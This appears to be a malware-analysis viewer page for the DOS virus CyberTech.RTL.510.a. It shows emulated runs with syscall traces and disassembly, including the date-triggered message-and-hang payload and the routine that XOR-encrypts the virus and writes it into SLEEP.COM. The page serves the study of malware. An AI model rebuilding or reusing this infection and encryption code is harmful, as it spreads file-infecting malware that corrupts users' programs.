Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.RTL.510.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:35:59.527472848Z 42 PC: 12e58 | Get date 0x12e58: cmp dh, 8
0x12e5b: jb 0x12e71
0x12e5d: cmp dl, 0x16
0x12e60: jb 0x12e71
0x12e62: cmp al, 3
0x12e64: jne 0x12e71
0x12e66: mov ah, 9
0x12e68: lea dx, word ptr [bp + 0x138]
0x12e6c: int 0x21
0x12e6e: cli
0x12e6f: jmp 0x12e6e
0x12e71: cmp dh, 5
0x12e74: jae 0x12e79
0x12e76: jmp 0x12f2e
0x12e79: mov ah, 0x1a
0x12e7b: mov dx, 0xfc00
0x12e7e: int 0x21
0x12e80: mov ah, 0x4e
0x12e82: lea dx, word ptr [bp + 0x132]
0x12e86: xor cx, cx
2018-12-17T22:35:59.530033177Z 26 PC: 12e80 | Set disk transfer address
2018-12-17T22:35:59.531039627Z 78 PC: 12e8a | Find first file
2018-12-17T22:35:59.534890832Z 67 PC: 12e97 | Get or set file attributes
2018-12-17T22:35:59.538782122Z 67 PC: 12e9f | Get or set file attributes
2018-12-17T22:35:59.552632884Z 61 PC: 12ea4 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:35:59.563782791Z 87 PC: 12eaa | Get or set file date and time
2018-12-17T22:35:59.566702602Z 63 PC: 12eb7 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:35:59.572878741Z 66 PC: 12edd | Move file pointer
2018-12-17T22:35:59.574248536Z 44 PC: 12ef0 | Get time 0x12ef0: mov byte ptr cs:[bp + 0x19], dl
0x12ef5: lea si, word ptr [bp + 4]
0x12ef9: mov di, 0xfd00
0x12efc: mov cx, 0x19
0x12eff: rep movsb byte ptr es:[di], byte ptr [si]
0x12f01: lea si, word ptr [bp + 0x1d]
0x12f05: mov cx, 0x1e5
0x12f08: nop
0x12f09: lodsb al, byte ptr [si]
0x12f0a: xor al, dl
0x12f0c: stosb byte ptr es:[di], al
0x12f0d: loop 0x12f09
0x12f0f: mov ah, 0x40
0x12f11: mov dx, 0xfd00
0x12f14: mov cx, 0x1fe
0x12f17: nop
0x12f18: int 0x21
0x12f1a: mov ax, 0x4200
0x12f1d: call 0x22ed7
0x12f20: mov ah, 0x40
2018-12-17T22:35:59.577530763Z 64 PC: 12f1a | Write file or device (Write 510 bytes on handle 5)
2018-12-17T22:35:59.585380661Z 66 PC: 12edd | Move file pointer
2018-12-17T22:35:59.586830337Z 64 PC: 12f2b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:35:59.594098776Z 87 PC: 12f44 | Get or set file date and time
2018-12-17T22:35:59.595549856Z 62 PC: 12f48 | Close file
2018-12-17T22:35:59.604400891Z 67 PC: 12f51 | Get or set file attributes
2018-12-17T22:35:59.614620584Z 26 PC: 12f35 | Set disk transfer address

{"DateBased":true,"Day":27,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6499,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:41.67879393Z 42 PC: 12e58 | Get date 0x12e58: cmp dh, 8
0x12e5b: jb 0x12e71
0x12e5d: cmp dl, 0x16
0x12e60: jb 0x12e71
0x12e62: cmp al, 3
0x12e64: jne 0x12e71
0x12e66: mov ah, 9
0x12e68: lea dx, word ptr [bp + 0x138]
0x12e6c: int 0x21
0x12e6e: cli
0x12e6f: jmp 0x12e6e
0x12e71: cmp dh, 5
0x12e74: jae 0x12e79
0x12e76: jmp 0x12f2e
0x12e79: mov ah, 0x1a
0x12e7b: mov dx, 0xfc00
0x12e7e: int 0x21
0x12e80: mov ah, 0x4e
0x12e82: lea dx, word ptr [bp + 0x132]
0x12e86: xor cx, cx
2018-12-25T11:59:41.681528556Z 9 PC: 12e6e | Display string (String= ' RTL4 Joop van den Ende Produkties BV Marco Daas (Casting Assistent) Postbus 397 1430 AJ AALSMEER van Cleeffkade 15 1413 BA AALSMEER The Netherlands Wedden dat... je een virus hebt? ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6499,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:41.793610495Z 42 PC: 12e58 | Get date 0x12e58: cmp dh, 8
0x12e5b: jb 0x12e71
0x12e5d: cmp dl, 0x16
0x12e60: jb 0x12e71
0x12e62: cmp al, 3
0x12e64: jne 0x12e71
0x12e66: mov ah, 9
0x12e68: lea dx, word ptr [bp + 0x138]
0x12e6c: int 0x21
0x12e6e: cli
0x12e6f: jmp 0x12e6e
0x12e71: cmp dh, 5
0x12e74: jae 0x12e79
0x12e76: jmp 0x12f2e
0x12e79: mov ah, 0x1a
0x12e7b: mov dx, 0xfc00
0x12e7e: int 0x21
0x12e80: mov ah, 0x4e
0x12e82: lea dx, word ptr [bp + 0x132]
0x12e86: xor cx, cx
2018-12-25T11:59:41.796155883Z 26 PC: 12f35 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6499,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:42.03457387Z 42 PC: 12e58 | Get date 0x12e58: cmp dh, 8
0x12e5b: jb 0x12e71
0x12e5d: cmp dl, 0x16
0x12e60: jb 0x12e71
0x12e62: cmp al, 3
0x12e64: jne 0x12e71
0x12e66: mov ah, 9
0x12e68: lea dx, word ptr [bp + 0x138]
0x12e6c: int 0x21
0x12e6e: cli
0x12e6f: jmp 0x12e6e
0x12e71: cmp dh, 5
0x12e74: jae 0x12e79
0x12e76: jmp 0x12f2e
0x12e79: mov ah, 0x1a
0x12e7b: mov dx, 0xfc00
0x12e7e: int 0x21
0x12e80: mov ah, 0x4e
0x12e82: lea dx, word ptr [bp + 0x132]
0x12e86: xor cx, cx
2018-12-25T11:59:42.038330764Z 26 PC: 12e80 | Set disk transfer address
2018-12-25T11:59:42.039413278Z 78 PC: 12e8a | Find first file
2018-12-25T11:59:42.045978053Z 67 PC: 12e97 | Get or set file attributes
2018-12-25T11:59:42.052013713Z 67 PC: 12e9f | Get or set file attributes
2018-12-25T11:59:42.06977611Z 61 PC: 12ea4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:59:42.076513923Z 87 PC: 12eaa | Get or set file date and time
2018-12-25T11:59:42.079123378Z 63 PC: 12eb7 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:59:42.086089023Z 66 PC: 12edd | Move file pointer
2018-12-25T11:59:42.087389399Z 44 PC: 12ef0 | Get time 0x12ef0: mov byte ptr cs:[bp + 0x19], dl
0x12ef5: lea si, word ptr [bp + 4]
0x12ef9: mov di, 0xfd00
0x12efc: mov cx, 0x19
0x12eff: rep movsb byte ptr es:[di], byte ptr [si]
0x12f01: lea si, word ptr [bp + 0x1d]
0x12f05: mov cx, 0x1e5
0x12f08: nop
0x12f09: lodsb al, byte ptr [si]
0x12f0a: xor al, dl
0x12f0c: stosb byte ptr es:[di], al
0x12f0d: loop 0x12f09
0x12f0f: mov ah, 0x40
0x12f11: mov dx, 0xfd00
0x12f14: mov cx, 0x1fe
0x12f17: nop
0x12f18: int 0x21
0x12f1a: mov ax, 0x4200
0x12f1d: call 0x22ed7
0x12f20: mov ah, 0x40
2018-12-25T11:59:42.090081918Z 64 PC: 12f1a | Write file or device (Write 510 bytes on handle 5)
2018-12-25T11:59:42.098895391Z 66 PC: 12edd | Move file pointer (See above)
2018-12-25T11:59:42.100640895Z 64 PC: 12f2b | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:59:42.107433048Z 87 PC: 12f44 | Get or set file date and time
2018-12-25T11:59:42.109266493Z 62 PC: 12f48 | Close file
2018-12-25T11:59:42.11697071Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T11:59:42.127599147Z 26 PC: 12f35 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6499,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:42.170896327Z 42 PC: 12e58 | Get date 0x12e58: cmp dh, 8
0x12e5b: jb 0x12e71
0x12e5d: cmp dl, 0x16
0x12e60: jb 0x12e71
0x12e62: cmp al, 3
0x12e64: jne 0x12e71
0x12e66: mov ah, 9
0x12e68: lea dx, word ptr [bp + 0x138]
0x12e6c: int 0x21
0x12e6e: cli
0x12e6f: jmp 0x12e6e
0x12e71: cmp dh, 5
0x12e74: jae 0x12e79
0x12e76: jmp 0x12f2e
0x12e79: mov ah, 0x1a
0x12e7b: mov dx, 0xfc00
0x12e7e: int 0x21
0x12e80: mov ah, 0x4e
0x12e82: lea dx, word ptr [bp + 0x132]
0x12e86: xor cx, cx
2018-12-25T11:59:42.173452006Z 26 PC: 12e80 | Set disk transfer address
2018-12-25T11:59:42.175129752Z 78 PC: 12e8a | Find first file
2018-12-25T11:59:42.181205996Z 67 PC: 12e97 | Get or set file attributes
2018-12-25T11:59:42.188935002Z 67 PC: 12e9f | Get or set file attributes
2018-12-25T11:59:42.205222754Z 61 PC: 12ea4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:59:42.211695621Z 87 PC: 12eaa | Get or set file date and time
2018-12-25T11:59:42.213145359Z 63 PC: 12eb7 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:59:42.219679765Z 66 PC: 12edd | Move file pointer
2018-12-25T11:59:42.220934834Z 44 PC: 12ef0 | Get time 0x12ef0: mov byte ptr cs:[bp + 0x19], dl
0x12ef5: lea si, word ptr [bp + 4]
0x12ef9: mov di, 0xfd00
0x12efc: mov cx, 0x19
0x12eff: rep movsb byte ptr es:[di], byte ptr [si]
0x12f01: lea si, word ptr [bp + 0x1d]
0x12f05: mov cx, 0x1e5
0x12f08: nop
0x12f09: lodsb al, byte ptr [si]
0x12f0a: xor al, dl
0x12f0c: stosb byte ptr es:[di], al
0x12f0d: loop 0x12f09
0x12f0f: mov ah, 0x40
0x12f11: mov dx, 0xfd00
0x12f14: mov cx, 0x1fe
0x12f17: nop
0x12f18: int 0x21
0x12f1a: mov ax, 0x4200
0x12f1d: call 0x22ed7
0x12f20: mov ah, 0x40
2018-12-25T11:59:42.223228323Z 64 PC: 12f1a | Write file or device (Write 510 bytes on handle 5)
2018-12-25T11:59:42.231279215Z 66 PC: 12edd | Move file pointer (See above)
2018-12-25T11:59:42.232527119Z 64 PC: 12f2b | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:59:42.238805379Z 87 PC: 12f44 | Get or set file date and time
2018-12-25T11:59:42.240949502Z 62 PC: 12f48 | Close file
2018-12-25T11:59:42.248412653Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T11:59:42.257878019Z 26 PC: 12f35 | Set disk transfer address

{"DateBased":true,"Day":22,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6499,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:42.221870149Z 42 PC: 12e58 | Get date 0x12e58: cmp dh, 8
0x12e5b: jb 0x12e71
0x12e5d: cmp dl, 0x16
0x12e60: jb 0x12e71
0x12e62: cmp al, 3
0x12e64: jne 0x12e71
0x12e66: mov ah, 9
0x12e68: lea dx, word ptr [bp + 0x138]
0x12e6c: int 0x21
0x12e6e: cli
0x12e6f: jmp 0x12e6e
0x12e71: cmp dh, 5
0x12e74: jae 0x12e79
0x12e76: jmp 0x12f2e
0x12e79: mov ah, 0x1a
0x12e7b: mov dx, 0xfc00
0x12e7e: int 0x21
0x12e80: mov ah, 0x4e
0x12e82: lea dx, word ptr [bp + 0x132]
0x12e86: xor cx, cx
2018-12-25T11:59:42.224265085Z 26 PC: 12e80 | Set disk transfer address
2018-12-25T11:59:42.226104953Z 78 PC: 12e8a | Find first file
2018-12-25T11:59:42.233021112Z 67 PC: 12e97 | Get or set file attributes
2018-12-25T11:59:42.23958125Z 67 PC: 12e9f | Get or set file attributes
2018-12-25T11:59:42.261292845Z 61 PC: 12ea4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:59:42.268381743Z 87 PC: 12eaa | Get or set file date and time
2018-12-25T11:59:42.269777498Z 63 PC: 12eb7 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:59:42.277164133Z 66 PC: 12edd | Move file pointer
2018-12-25T11:59:42.278581147Z 44 PC: 12ef0 | Get time 0x12ef0: mov byte ptr cs:[bp + 0x19], dl
0x12ef5: lea si, word ptr [bp + 4]
0x12ef9: mov di, 0xfd00
0x12efc: mov cx, 0x19
0x12eff: rep movsb byte ptr es:[di], byte ptr [si]
0x12f01: lea si, word ptr [bp + 0x1d]
0x12f05: mov cx, 0x1e5
0x12f08: nop
0x12f09: lodsb al, byte ptr [si]
0x12f0a: xor al, dl
0x12f0c: stosb byte ptr es:[di], al
0x12f0d: loop 0x12f09
0x12f0f: mov ah, 0x40
0x12f11: mov dx, 0xfd00
0x12f14: mov cx, 0x1fe
0x12f17: nop
0x12f18: int 0x21
0x12f1a: mov ax, 0x4200
0x12f1d: call 0x22ed7
0x12f20: mov ah, 0x40
2018-12-25T11:59:42.28101041Z 64 PC: 12f1a | Write file or device (Write 510 bytes on handle 5)
2018-12-25T11:59:42.290029972Z 66 PC: 12edd | Move file pointer (See above)
2018-12-25T11:59:42.291551299Z 64 PC: 12f2b | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:59:42.29850959Z 87 PC: 12f44 | Get or set file date and time
2018-12-25T11:59:42.300178629Z 62 PC: 12f48 | Close file
2018-12-25T11:59:42.308707194Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T11:59:42.31957771Z 26 PC: 12f35 | Set disk transfer address